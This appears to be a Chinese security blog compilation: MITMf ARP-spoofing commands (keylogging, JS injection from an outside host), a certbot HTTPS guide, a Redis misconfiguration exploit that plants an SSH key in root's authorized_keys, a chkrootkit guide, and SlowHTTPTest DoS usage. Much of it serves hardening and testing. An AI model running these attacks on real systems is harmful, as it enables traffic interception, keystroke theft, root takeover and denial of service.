MITMf流量劫持命令笔记

目的:论https重要性。
安装文档参考:
https://github.com/byt3bl33d3r/MITMf/wiki/Installation

# 图片翻转180度

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --targets 192.168.1.115 --upsidedownternet

# 记录键盘

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --jskeylogger

# 注入js

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --inject --js-url http://192.168.10.11:8999/hook.js

# 注入html

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --inject --html-url http://192.168.10.11:8999/a.html

# 截屏

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --screen

 

linux下nginx使用Let’s Encrypt证书机构颁发ssl证书

Let’s Encrypt是一个证书机构,被浏览器信任,它会颁发一个免费3个月的证书,到期可以重新颁发或者更新。
这个机构搞了一个协议叫ACME (Automatic Certificate Management Environment)
根据这个协议搞了一个官网客户端叫 Certbot 便于给使用者申请证书。

官网地址:https://certbot.eff.org/
github地址:https://github.com/certbot/certbot

# 克隆 certbot:

[root@www ~]# git clone https://github.com/certbot/certbot.git

# 生成证书

[root@www certbot]# ./certbot-auto certonly --webroot -w /mnt/web/wx.rootop.org/ -d wx.rootop.org
--webroot 是通过验证网站目录
-w 是指定网站目录路径
-d 指定域名

Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator webroot, Installer None
Enter email address (used for urgent renewal and security notices) (Enter 'c' to
cancel): # 输入你邮箱

-------------------------------------------------------------------------------
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must
agree in order to register with the ACME server at
https://acme-v01.api.letsencrypt.org/directory
-------------------------------------------------------------------------------
(A)gree/(C)ancel: # 输入 A 同意

-------------------------------------------------------------------------------
Would you be willing to share your email address with the Electronic Frontier
Foundation, a founding partner of the Let's Encrypt project and the non-profit
organization that develops Certbot? We'd like to send you email about EFF and
our work to encrypt the web, protect its users and defend digital rights.
-------------------------------------------------------------------------------
(Y)es/(N)o: N # 发送邮件,我选了N
Obtaining a new certificate
Performing the following challenges:
http-01 challenge for wx.rootop.org
Using the webroot path /mnt/web/wx.rootop.org for all unmatched domains.
Waiting for verification...
Cleaning up challenges

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
 /etc/letsencrypt/live/wx.rootop.org/fullchain.pem
 Your key file has been saved at:
 /etc/letsencrypt/live/wx.rootop.org/privkey.pem
 Your cert will expire on 2018-07-25. To obtain a new or tweaked
 version of this certificate in the future, simply run certbot-auto
 again. To non-interactively renew *all* of your certificates, run
 "certbot-auto renew"
 - Your account credentials have been saved in your Certbot
 configuration directory at /etc/letsencrypt. You should make a
 secure backup of this folder now. This configuration directory will
 also contain certificates and private keys obtained by Certbot so
 making regular backups of this folder is ideal.
 - If you like Certbot, please consider supporting our work by:

 Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
 Donating to EFF: https://eff.org/donate-le

看到 Congratulations 即为成功。
/etc/letsencrypt/live/wx.rootop.org/fullchain.pem 证书路径
/etc/letsencrypt/live/wx.rootop.org/privkey.pem 私钥路径

# 原理推测:

[root@www certbot]# ./certbot-auto certonly --webroot -w /mnt/web/a/ -d wx.rootop.org # 我写了一个非网站目录地址

如果上面的 -w 输入的网站路径不是网站的根目录,那么在验证信息的时候会报错。

Waiting for verification...
Cleaning up challenges
Failed authorization procedure. wx.rootop.org (http-01): urn:acme:error:unauthorized :: The client lacks sufficient authorization :: Invalid response from http://wx.rootop.org/.well-known/acme-challenge/o-2oEswrYaKXstl3mckB9KFRt9kaxPsGhCDPngATQFA: "<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>"

IMPORTANT NOTES:
 - The following errors were reported by the server:

 Domain: wx.rootop.org
 Type: unauthorized
 Detail: Invalid response from
 http://wx.rootop.org/.well-known/acme-challenge/o-2oEswrYaKXstl3mckB9KFRt9kaxPsGhCDPngATQFA:
 "<html>
 <head><title>404 Not Found</title></head>
 <body bgcolor="white">
 <center><h1>404 Not Found</h1></center>
 <hr><center>"

 To fix these errors, please make sure that your domain name was
 entered correctly and the DNS A/AAAA record(s) for that domain
 contain(s) the right IP address.
 - Your account credentials have been saved in your Certbot
 configuration directory at /etc/letsencrypt. You should make a
 secure backup of this folder now. This configuration directory will
 also contain certificates and private keys obtained by Certbot so
 making regular backups of this folder is ideal.

可以看到验证的时候是访问了 http://wx.rootop.org/.well-known/acme-challenge/o-2oEswrYaKXstl3mckB9KFRt9kaxPsGhCDPngATQFA
这个路径的文件,但是我-w指定的路径是错的,并不是网站的目录,所以访问不到。
这样就可以推测,certbot是去网站根目录自动创建文件夹及文件,用于官方确认你对域名拥有所有权。

通过上面的错误提示,如下2个原因。
原因1,未添加dns解析
原因2,网站根目录配置错误
所以要确认dns已经解析及路径无误。

还有一种情况就是nginx做为反向代理,这样的话就需要自己写个location,并指定目录。如:

location ~ ^/.well-known/
{
 root /mnt/web/a/;
}

这样就让服务器在验证的时候,直接去/mnt/web/a下找自动生成的验证文件。

# 配置nginx

listen 443;
ssl on;
ssl_certificate /etc/letsencrypt/live/wx.rootop.org/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/wx.rootop.org/privkey.pem;

重启nginx,就可以https访问了。

证书续期:

[root@www certbot]# ./certbot-auto renew # 执行此命令自动检测续期,不需要干预。
Saving debug log to /var/log/letsencrypt/letsencrypt.log

——————————————————————————-
Processing /etc/letsencrypt/renewal/wx.rootop.org.conf
——————————————————————————-
Cert is due for renewal, auto-renewing…
Plugins selected: Authenticator webroot, Installer None
Renewing an existing certificate
Performing the following challenges:
http-01 challenge for wx.rootop.org
Waiting for verification…
Cleaning up challenges

——————————————————————————-
new certificate deployed without reload, fullchain is
/etc/letsencrypt/live/wx.rootop.org/fullchain.pem
——————————————————————————-
Plugins selected: Authenticator webroot, Installer None

——————————————————————————-

Congratulations, all renewals succeeded. The following certs have been renewed:
/etc/letsencrypt/live/wx.rootop.org/fullchain.pem (success)
——————————————————————————-

利用Redis配置不当的漏洞对linux服务器root提权体验

文章来自:https://www.huangdc.com/443 修改并整理

redis安装后默认没有访问密码,但是默认监听在127.0.0.1地址,远程客户端无法远程访问。暂无法构成威胁。
如果监听在0.0.0.0的话,就可以利用下面“漏洞”了。

原理就是修改redis的持久化文件路径及数据文件实现秘钥连接。
有一个前提条件是 redis必须是用root用户启动的(才有权限往/root/.ssh写)。

# 运行ssh-keygen -t rsa生成秘钥 将公钥保存到另外一个文件 mypubkey.txt

[root@vm200-78 ~]# ssh-keygen -t rsa
[root@vm200-78 ~]# ll /root/.ssh/
总计 12
-rw------- 1 root root 1675 07-19 16:56 id_rsa
-rw-r--r-- 1 root root 405 07-19 16:56 id_rsa.pub
-rw-r--r-- 1 root root 1974 2015-11-18 known_hosts

# 加换行,目的是为了形成正确的秘钥文件格式 (据我所知应该是一行一个公钥)。

[root@vm200-78 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n") > mypubkey.txt
[root@vm200-78 ~]# cat mypubkey.txt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com

# 在远程服务器 192.168.203.78 将公钥以key值的形式写入redis

[root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 6379 -x set mypubkey
OK
[root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 6379
redis 192.168.203.224:6379> keys *
1) "mypubkey"
2) "huangdc"
redis 192.168.203.224:6379> get mypubkey
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com\n\n\n"

# 查看当前 redis数据存放目录

redis 192.168.203.224:6379> config get dir
1) "dir"
2) "/data/nosql/redis_6379"

# 修改 redis 数据存放目录

redis 192.168.203.224:6379> config set dir /root/.ssh/
OK

# 查看 redis 数据存放文件

redis 192.168.203.224:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

# 修改redis数据存放文件

redis 192.168.203.224:6379> config set dbfilename "authorized_keys"
OK

# 保存 key

redis 192.168.203.224:6379> save
OK

# 恢复原先redis配置

redis 192.168.203.224:6379> config set dir "/data/nosql/redis_6379"
OK
redis 192.168.203.224:6379> config set dbfilename "dump.rdb"
OK
redis 192.168.203.224:6379> save
OK

## 这样就把公钥写进目标主机的/root/.ssh下,并且名称为 authorized_keys,这样就完成了远程无密码访问了

防范方法:
1、根据需求绑定127.0.0.1或者0.0.0.0
2、redis加密码访问
3、普通用户启动redis
4、修改默认redis端口,防止批量扫描

使用chkrootkit检查linux是否被植入后门

所谓 rootkit ,是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉,通过这类工具,入侵者建立了一条能够常时入侵系统,或者说对系统进行实时控制的 途径。所以,我们用自由软件 chkrootkit 来建立入侵监测系统,来保证对系统是否被安装了 rootkit 进行监测。
chkrootkit 在监测 rootkit 是否被安装的过程中,需要使用到一些操作系统本身的命令。但不排除一种情况,那就是入侵者有针对性的已经将 chkrootkit 使用的系统命令也做修改,使得 chkrootkit 无法监测 rootkit ,从而达到即使系统安装了 chkrootkit 也无法检测出 rootkit 的存在,从而依然对系统有着控制的途径,而达到入侵的目的。那样的话,用 chkrootkit 构建入侵监测系统将失去任何意义。对此,我 们在操作系统刚被安装之后,或者说服务器开放之前,让 chkrootkit 就开始工作。而且,在服务器开放之前,备份 chkrootkit 使用的系统命 令,在一些必要的时候(怀疑系统命令已被修改的情况等等),让 chkrootkit 使用初始备份的系统命令进行工作。

官网地址:http://chkrootkit.org/download/
[root@1 ~]# wget -c ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
[root@1 ~]# yum install -y gcc gcc-c++ make glibc-static
[root@1 ~]# tar zxvf chkrootkit.tar.gz
[root@1 ~]# cd chkrootkit-0.50/
[root@1 chkrootkit-0.50]# make sense
[root@1 chkrootkit-0.50]# cd
[root@1 ~]# cp -r chkrootkit-0.50/ /usr/local/chkrootkit
参数帮助:
[root@1 ~]# /usr/local/chkrootkit/chkrootkit -h

Usage: /usr/local/chkrootkit/chkrootkit [options] [test ...]
Options:
 -h show this help and exit
 -V show version information and exit
 -l show available tests and exit
 -d debug
 -q quiet mode
 -x expert mode
 -r dir use dir as the root directory
 -p dir1:dir2:dirN path for the external commands used by chkrootkit
 -n skip NFS mounted dirs

由于chkrootkit的检查过程使用了部分系统命令。因此,如果服务器被入侵,则依赖的系统命令可能也已经被入侵者做了手脚,chkrootkit的结果将变得完全不可信。
所以需要在服务器上线之前备份chkrootkit用到的命令,检查的时候使用备份的命令来检查。

[root@1 ~]# mkdir /usr/share/.commands #创建一个隐藏文件夹
[root@1 ~]# cp $(which --skip-alias awk cut echo find egrep id head ls netstat ps strings sed uname ssh) /usr/share/.commands/
然后通过下面命令来检查:
[root@1 ~]# /usr/local/chkrootkit/chkrootkit -p /usr/share/.commands/

PS:
[root@1 chkrootkit-0.50]# make sense
cc -DHAVE_LASTLOG_H -o chklastlog chklastlog.c
cc -DHAVE_LASTLOG_H -o chkwtmp chkwtmp.c
cc -DHAVE_LASTLOG_H -D_FILE_OFFSET_BITS=64 -o ifpromisc ifpromisc.c
cc -o chkproc chkproc.c
cc -o chkdirs chkdirs.c
cc -o check_wtmpx check_wtmpx.c
cc -static -o strings-static strings.c
/usr/bin/ld: cannot find -lc
collect2: ld returned 1 exit status
make: *** [strings-static] Error 1
之前遇到一个报错,是因为没有安装glibc-static这个包

应用层慢速DoS攻击压力测试工具 – SlowHTTPTest

原文:http://www.freebuf.com/tools/40413.html

特别提示:本工具仅供安全测试和教学使用,禁止非法用途!

SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试攻击,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。
这个工具可以模拟低带宽耗费下的DoS攻击,比如慢速攻击,慢速HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。

Name

slowhttptest – Denial Of Service attacks simulator

Synopsis

slowhttptest [-H|B|R|X] [-g] [-a range start] [-b range limit] [-c number of connections] [-d all traffic directed through HTTP proxy at host:port] [-e probe traffic directed through HTTP proxy at host:port] [-i interval in seconds] [-k request multiply factor] [-l test duration in seconds] [-n slow read interval in seconds] [-o output file path and/or name] [-p timeout for probe connection in seconds] [-r connection per second] [-s value of Content-Length header] [-t HTTP verb] [-u absolute URL] [-v output verbosity level] [-w advertised window size range start] [-x max length of follow up data] [-y advertised window size range end] [-z slow read from recieve buffer in bytes]

Description

The slowhttptest implements most common low-bandwidth Application Layer DoS attacks and produces CSV and HTML files with test statistics.

Currently supported attacks are:

• Slowloris
• Slow HTTP POST
• Apache Range Header
• Slow Read
The options are as follows:

-g’ Forces slowhttptest to generate CSV and HTML files when test finishes with timestamp in filename.

-H’ Starts slowhttptest in SlowLoris mode, sending unfinished HTTP requests.

-B’ Starts slowhttptest in Slow POST mode, sending unfinished HTTP message bodies.

-R’ Starts slowhttptest in Range Header mode, sending malicious Range Request header data.

-X’ Starts slowhttptest in Slow Read mode, reading HTTP responses slowly.

-a start
Sets the start value of range-specifier for Range Header attack.

-b bytes
Sets the limit value of range-specifier for Range Header attack.

-c number of connections
Specifies the target number of connections to establish during the test.

-d HTTP proxy host:port
Specifies HTTP proxy server to connect to for all connections.

-e HTTP proxy host:port
Specifies HTTP proxy server to connect to for probe connections.

-i seconds
Specifies the interval between follow up data for slowrois and Slow POST tests.

-k pipeline factor
Specifies number of times the resource would be requested per socket in Slow Read test.

-l seconds
Specifies test duration in seconds.

-n seconds
Specifies the interval between read operations for Slow Read test.

-o file name
Specifies custom file name, effective with -g.

-p seconds
Specifies the interval to wait for HTTP response onprobe connection, before marking the server as DoSed.

-r connections per second
Specifies the connection rate.

-s bytes
Specifies the value of Content-Length header for Slow POST test.

-t HTTP verb
Specifies the verb to use in HTTP request.

-u URL
Specifies the URL.

-v level
Specifies the verbosity level of logging.

-w bytes
Specifies the start of the range the TCP advertised window size would be picked from in Slow Read test.

-x bytes
Specifies the maximum length of follow up data for slowloris and Slow POST tests.

-y bytes
Specifies the end of the range the TCP advertised window size would be picked from in Slow Read test.

-z bytes
Specifies the number of bytes to read from receive buffer with each read() operation.

Examples

Start a slowloris test of host.example.com with 1000 connections, statistics goes into my_header_stats, interval between follow up headers is 10 seconds and connection rate is 200 connections per second:

$ slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3
Start slow POST test of host.example.com with 3000 connections, statistics goes into my_body_stats, interval between follow up headers is 110 seconds, connection rate is 200 connections per second, Content-Length header value is 8192, maximum length of follow up data is random value limited by 10 bytes and probe connections waits 3 seconds for HTTP response before marking server as DoSed:

$ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3
Start Range Header test of host.example.com with 1000 connections, use HEAD verb, and generate HTTP header Range:0-, x-1, x-2, x-3, … x-y, where x is 10 and y is 3000, connection rate is 500: interval between follow up headers is 10 seconds and connection rate is 200 connections per second:

$ slowhttptest -R -u http://host.example.com/ -t HEAD -c 1000 -a 10 -b 3000 -r 500
Start Slow Read test of host.example.com with 8000 connections, no statistics is generated, connection rate is 200 connections per second, TCP advertised window size is a random value between 512 and 1024, slowhttptest reads 32 bytes from each connections every 5 seconds, 3 requests are pipelined per each connections, probe connection waits 3 seconds for HTTP response before marking server as DoSed:

$ slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3
Start Slow Read test of host.example.com through HTTP proxy server at 10.10.0.1:8080 with 8000 connections, no statistics is generated, the rest test vaules are default. slowhttptest most likely would test HTTP proxy server itself, rather than target server, but it all depends on the HTTP proxy server implementation:

$ slowhttptest -d 10.10.0.1:8080 -c 8000 -X -u https://host.example.com/resources/index.html
Start Slow Read test of host.example.com and direct probe traffic through HTTP proxy server at 10.10.0.1:8080 with 8000 connections, no statistics is generated, the rest test vaules are default. Specifying another connection channel for probe connections helps to make sure that slowhttptest shows valid statistics for availability of server under test:

$ slowhttptest -e 10.10.0.1:8080 -c 8000 -X -u https://host.example.com/resources/index.html

这是来自老外的测试方法,相比国内的翻译过的内容好很多,特别是参数解释看中文不堪入目。

attack rootop :
[root@Rootop ~]# slowhttptest -c 1000 -X -g -o -slow_read_stats -r 500 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.rootop.org -p 3

本身rootop服务器配置不高,单核、512内存,瞬间服务器压力上去,ESTABLISHED TIME_WAIT连接数不断升高。网站无法打开。

lowHTTPTest 运行界面: